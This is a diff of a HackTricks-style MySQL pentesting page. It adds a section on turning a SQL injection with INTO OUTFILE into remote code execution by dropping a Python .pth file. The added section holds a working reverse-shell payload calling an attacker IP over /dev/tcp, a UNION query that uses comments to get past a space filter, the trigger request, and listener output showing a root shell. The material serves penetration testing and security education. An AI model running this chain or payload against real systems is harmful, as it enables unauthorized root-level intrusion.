|
1 | 1 | # 3306 - Pentesting Mysql
|
2 | 2 |
|
| 3 | +{{#include /banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## References |
| 6 | +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) |
| 7 | + |
3 | 8 | {{#include ../banners/hacktricks-training.md}}
|
4 | 9 |
|
5 | 10 | ## **Basic Information**
|
@@ -123,6 +128,52 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
|
123 | 128 | ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
124 | 129 | {{#endref}}
|
125 | 130 |
|
| 131 | +#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) |
| 132 | +
|
| 133 | +Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts. |
| 134 | +
|
| 135 | +1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`). |
| 136 | +2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts. |
| 137 | +3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE). |
| 138 | +
|
| 139 | +Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): |
| 140 | +
|
| 141 | +```python |
| 142 | +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) |
| 143 | +``` |
| 144 | +
|
| 145 | +Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes): |
| 146 | +
|
| 147 | +```sql |
| 148 | +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' |
| 149 | +``` |
| 150 | +
|
| 151 | +Important limitations & bypasses: |
| 152 | +
|
| 153 | +* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename. |
| 154 | +* The file path is resolved **relative to MySQL’s CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions. |
| 155 | +* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces. |
| 156 | +* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere. |
| 157 | +
|
| 158 | +After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution: |
| 159 | +
|
| 160 | +``` |
| 161 | +GET /cgi-bin/ml-draw.py HTTP/1.1 |
| 162 | +Host: <target> |
| 163 | +``` |
| 164 | +
|
| 165 | +The Python process will import the malicious `.pth` automatically and execute the shell payload. |
| 166 | +
|
| 167 | +``` |
| 168 | +# Attacker |
| 169 | +$ nc -lvnp 4444 |
| 170 | +id |
| 171 | +uid=0(root) gid=0(root) groups=0(root) |
| 172 | +``` |
| 173 | +
|
| 174 | +--- |
| 175 | +
|
| 176 | +
|
126 | 177 | ## MySQL arbitrary read file by client
|
127 | 178 |
|
128 | 179 | Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
|
@@ -645,7 +696,9 @@ Entry_4:
|
645 | 696 |
|
646 | 697 |
|
647 | 698 |
|
648 |
| -{{#include ../banners/hacktricks-training.md}} |
| 699 | +## References |
| 700 | +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) |
649 | 701 |
|
| 702 | +{{#include ../banners/hacktricks-training.md}} |
650 | 703 |
|
651 | 704 |
|
0 commit comments